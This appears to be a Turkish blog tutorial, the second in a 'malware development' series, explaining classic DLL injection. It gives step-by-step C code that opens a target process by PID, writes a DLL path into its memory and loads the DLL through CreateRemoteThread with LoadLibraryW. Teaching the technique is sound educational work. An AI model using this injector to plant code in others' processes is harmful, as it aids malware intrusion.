Klasik DLL İnjection #MALWARE DEV 2

Klasik DLL Injection

Klasik DLL Injection

Selamlar, bugün sizlere MALWARE DEV 2. inci konumuzu anlatıcağım. Bu konuyu daha iyi anlamak için önceki notlarımı okumanızı tavsiye ederim. Neyse, basit ve anlaşılır şekilde anlatmaya çalışacağım.

Algoritma

  1. Hedef processi açmak: İlk adım DLL'i hangi processe yükleyeceğimizi belirlemek. Bunu vereceğimiz argüman ile yapıcağız. Windows'da process handle ile temsil edilir. Her processin bir PID'i yani bir process id'si olur. Adresi OpenProcess ile alırsın. Artık process üzerinde işlem yapabileceğin anlamına gelir.
  2. Hedef Process Belleğine Yer Ayırmak: DLL yolunu processin kendi belleğine koymamız gerekecek. Bunu yapmaz isek process DLL'i bulamaz ve istediğimiz kodu çalıştıramaz. Burada önceki dersin VirtualAllocEx API'sini kullanacağız. Processin kendi sanal adres alanında yer ayırıyor.
  3. DLL Yolunu Yazmak: Ayrılan bu alana DLL'in tam yolunu yazarız. Çünkü Windows'ta bulunan LoadLibrary çalışırken DLL nerede olduğunu bilmek mecburiyetinde. Bu adım DLL yükleme ön hazırlığıdır.
  4. LoadLibrary Fonksiyonunu Bulma: Windows'ta ve Linux'ta dahil olmak üzere her bir fonksiyonun, hatta syscall'ların bile adresi bulunur. Bu syscall'ları API'leri içerisinde bulunduran Kernel32.dll gibi DLL'lerde ya da ntdll Windows API'de DLL yükleyen fonksiyon LoadLibrary'dir. Ama biz kendi programımızda değil, hedef process içinde çalıştırmamız lazım. Yani önce Kernel32.dll içinden LoadLibrary'i alıcağız.

Kod - Açıklamalı Parçalar

1. Hedef Prosesin Açılması

#include <windows.h>
#include <stdio.h>

int main(int argc, char* argv[]) {
    if(argc < 2) {
        return 1;
    }

    DWORD pid = atoi(argv[1]); // Kullanıcının verdiği PID
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if(hProcess == NULL) {
        printf("Proses açılamadı.\n");
        return 1;
    }
}
Bu adım hedef prosesi açar ve işlem yapabilmek için gerekli handle'ı alır.

2. Hedef Process Belleğinde Yer Ayırma

wchar_t dllPath[] = L"C:\\path\\to\\your.dll"; // DLL yolu

LPVOID remoteBuffer = VirtualAllocEx(
    hProcess,
    NULL,
    sizeof(dllPath),
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

if(remoteBuffer == NULL) {
    printf("Bellek ayrılmadı.\n");
    return 1;
}
Hedef processin belleğinde DLL yolunu saklayabileceğimiz bir alan oluşturuyoruz.

3. DLL Yolunu Hedef Prosese Yazmak

WriteProcessMemory(
    hProcess,
    remoteBuffer,
    (LPVOID)dllPath,
    sizeof(dllPath),
    NULL
);
Ayrılan belleğe DLL'in tam yolunu yazarız, böylece LoadLibrary bu yolu kullanabilir.

4. LoadLibrary Fonksiyonunun Adresini Bulmak

LPTHREAD_START_ROUTINE loadLibraryAddr =
    (LPTHREAD_START_ROUTINE)GetProcAddress(
        GetModuleHandleA("Kernel32.dll"),
        "LoadLibraryW"
    );

if(loadLibraryAddr == NULL) {
    printf("LoadLibrary adresi bulunamadı.\n");
    return 1;
}
LoadLibraryW fonksiyonunun adresini alıyoruz, böylece hedef process içinde bu fonksiyonu çalıştırabileceğiz.

5. Remote Thread Oluşturma

HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    loadLibraryAddr,
    remoteBuffer,
    0,
    NULL
);

if(hThread == NULL) {
    printf("Thread oluşturulamadı.\n");
    return 1;
}

WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
Bu son adımda hedef proseste yeni bir thread başlatıyoruz. Thread, LoadLibrary fonksiyonunu çalıştıracak ve DLL yüklenmiş olacak.

Post a Comment

Daha yeni Daha eski